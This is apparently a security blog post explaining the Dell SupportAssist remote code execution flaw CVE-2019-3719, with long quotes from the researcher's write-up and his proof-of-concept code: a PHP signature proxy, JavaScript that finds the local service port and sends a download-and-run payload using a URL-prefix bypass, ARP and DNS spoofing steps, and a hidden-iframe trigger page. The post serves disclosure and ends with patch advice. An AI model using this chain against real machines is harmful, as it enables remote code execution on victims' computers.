SupportAssist Flaw Exposes Dell Computers to Remote Hacking.

Dell Users beware – your systems can be compromised remotely.

CVE-ID-2019-3719 Dell SupportAssist vulnerability.

A 17-year-old independent security researcher – Bill Demirkapi , has discovered a critical remote code execution vulnerability in one of the pre-installed Dell tools, Dell SupportAssist utility which comes pre-installed on most of all Dell laptops, desktops and tablets.

What is this Dell SupportAssist tool ?

Dell SupportAssist is industry’s one of the first of its kind and industry’s first automated proactive and predictive support technology.

Dell SupportAssist

How it works ?

SupportAssist proactively checks the health of your system’s hardware and software. When an issue is detected, the necessary system state information is sent to Dell for troubleshooting to begin. Dell will contact you to start the resolution conversation, preventing issues from becoming costly problems.

Customers with Premium Support or Premium Support Plus enjoy the automated issue detection, notification and case creation offered by SupportAssist .

PCs and tablets with ProSupport Plus or Premium Plus service entitlements enjoy the full set of SupportAssist features, including predictive issue detection and failure prevention on batteries, fans, solid state drives and hard drives. It is now preinstalled on most of all new Dell devices running Windows operating system and can be found in the Start menu under All Programs in the Dell or Alienware folder.

Basically, Dell SupportAssist runs a web server locally on the user system in the background , either on port 8884, 8883, 8886, or port 8885 depending on port availability, and accepts various commands as URL parameters to perform some-predefined tasks on the computer, like collecting detailed system information or downloading a software from remote server and install it on the system.

It has been designed in way to protect web service running on system using “Access-Control-Allow-Origin” response header and validations that restrict it to accept commands only from the “dell.com” website or its subdomains background on port.

Vulnerability in Dell SupportAssist – Explained

This vulnerability has been termed as CVE-ID 2019-3719.

This vulnerability was disclosed by Bill Demirkapi, a security researcher. Dell SupportAssist Client versions prior to 3.2.0.90 contain a remote code execution vulnerability. An unauthenticated attacker, sharing the network access layer with the vulnerable system, can compromise the vulnerable system by tricking a victim user into downloading and executing arbitrary executables via SupportAssist client from attacker hosted sites.

This attack primarily depends upon LAN/Router compromise.

“The attacker needs to be on the victim’s network in order to perform an ARP Spoofing Attack and a DNS Spoofing Attack on the victim’s machine in order to achieve remote code execution,”

– As published by ZDnet.com

“The iframe will point to a subdomain of dell.com, and then a DNS spoofing attack performed from an attacker-controlled machine/router will return an incorrect IP address for the dell.com domain, allowing the attacker to control what files are sent and executed by the SupportAssist tool .”

– As published by ZDnet.com

Flaw exploitation summary as published by Bill in Bill Demirkapi’s Blog.

“On start, Dell SupportAssist starts a web server (System.Net.HttpListener) on either port 8884, 8883, 8886, or port 8885. The port depends on whichever one is available, starting with 8884. On a request, the ListenerCallback located in HttpListenerServiceFacade calls ClientServiceHandler.ProcessRequest.
ClientServiceHandler.ProcessRequest, the base web server function, starts by doing integrity checks for example making sure the request came from the local machine and various other checks.
An important integrity check for us is in ClientServiceHandler.ProcessRequest, specifically the point at which the server checks to make sure my referrer is from Dell. “

-As published in Bill’s blog

Demirkapi discovered that it is possible to bypass the protections implemented by Dell and download and execute malicious code from a remote server under the control of the attackers.

To bypass the Referer/Origin check, we have a few options:

1. Find a Cross Site Scripting vulnerability in any of Dell’s websites (I should only have to find one on the sites designated for SupportAssist)
2. Find a Subdomain Takeover vulnerability
3. Make the request from a local program
4. Generate a random subdomain name and use an external machine to DNS Hijack the victim. Then, when the victim requests [random].dell.com, we respond with our server.”

– As published in Bill’s blog

Bill chose the 4th option to carry out the successful exploration test.

First things first, we need to find the service port. We can do this by polling through the predefined service ports, and making a request to “/clientservice/isalive”. The issue is that we need to also provide a signature. To get the signature that we pass to isalive, we can make a request to “https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”.

This isn’t as straight-forwards as it might seem. The “Access-Control-Allow-Origin” of the signature url is set to “https://www.dell.com”. This is a problem, because we’re in the context of a subdomain, probably not https. How do we get past this barrier? We make the request from our own servers!

– As published in Bill’s blog

To grab the signatures Bill made one script: – As published in Bills’ blog

<?php
header('Access-Control-Allow-Origin: *');
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
?> 

The header call allows anyone to make a request to this PHP file, and we just echo the signatures, acting as a proxy to the “getdsdtoken” route. The “getdsdtoken” route returns JSON with signatures and an expire time. We can just use JSON.parse on the results to place the signatures into a javascript object.

– As published in Bill’s blog.

After garbing signatures he made one more script to find the server , where he can send his payload.

function FindServer() {
	ports.forEach(function(port) {
		var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
		var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
	});
} 

Second most important thing was https validation for dell.com domain.

The second obstacle was designed specifically to counter my solution to the first obstacle. If we look back to the steps I outlined, if the file URL starts with http://, it will be replaced by https://. This is an issue, because we can’t really intercept and change the contents of a proper https connection. The key bypass to this mitigation was in this sentence: “if the URL starts with http://, it will be replaced by https://”. See, the thing was, if the URL string did not start with http://, even if there was http:// somewhere else in the string, it wouldn’t replace it.

Getting a URL to work was tricky, but I eventually came up with “ http://downloads.dell.com/abcdefg” (the space is intentional). When you ran the string through the starts with check, it would return false, because the string starts with “ “, thus leaving the “http://” alone.
I made a function that automated sending the payload

-As published in Bill’s blog
function SendRCEPayload() {
	var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;

	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", auto_install_url, true);

	var files = [];
	
	files.push({
	"title": "SupportAssist RCE",
	"category": "Serial ATA",
	"name": "calc.EXE",
	"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
	"isSecure": false,
	"fileUniqueId": guid(),
	"run": true,
	"installOrder": 2,
	"restricted": false,
	"fileStatus": -99,
	"driverId": "FXGNY",
	"dupInstallReturnCode": 0,
	"cssClass": "inactive-step",
	"isReboot": false,
	"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
	"$$hashKey": "object:210"});
	
	xmlhttp.send(JSON.stringify(files)); 
}
- As Published in Bill's blog

After this successful exploit attack was tested by Bill in the following manner:

Here are the steps I take in the external portion of my proof of concept (attacker’s machine):
1.Grab the interface IP address for the specified interface.

2.Start the mock web server and provide it with the filename of the payload we want to send. The web server checks if the Host header is downloads.dell.com and if so sends the binary payload. If the request Host has dell.com in it and is not the downloads domain, it sends the javascript payload which we mentioned earlier.

3. To ARP Spoof the victim, we first enable ip forwarding then send an ARP packet to the victim telling it that we’re the router and an ARP packet to the router telling it that we’re the victim machine. We repeat these packets every few seconds for the duration of our exploit. On exit, we will send the original mac addresses to the victim and router.

4. Finally, we DNS Spoof by using iptables to redirect DNS packets to a netfilter queue. We listen to this netfilter queue and check if the requested DNS name is our target URL. If so, we send a fake DNS packet back indicating that our machine is the true IP address behind that URL.

5. When the victim visits our subdomain (either directly via url or indirectly by an iframe), we send it the malicious javascript payload which finds the service port for the agent, grabs the signature from the php file we created earlier, then sends the RCE payload. When the RCE payload is processed by the agent, it will make a request to downloads.dell.com which is when we return the binary payload.

– As published in Bill’s blog

The source code of the dellrce.html file featured in the below video is:

<h1>CVE-2019-3719</h1>
<h1>Nothing suspicious here... move along...</h1>
<iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>

Demo of the successful exploitation of this vulnerability:

Demo demonstrated by Bill – Video POC of hack

Solution :

  1. Dell advisory on this vulnerability – Dell SupportAssist Client Multiple Vulnerabilities.
  2. Install the updated Dell SupportAssist 3.2.0.90 or later, or simply uninstall the application at all, if not required.

Stay tuned with us for more cyber stuff !

Have any suggestions and Ideas for us to improve, please reach out to us 🙂

4 thoughts on “SupportAssist Flaw Exposes Dell Computers to Remote Hacking.”

Leave a Comment

Your e-mail address will not be published. Required fields are marked *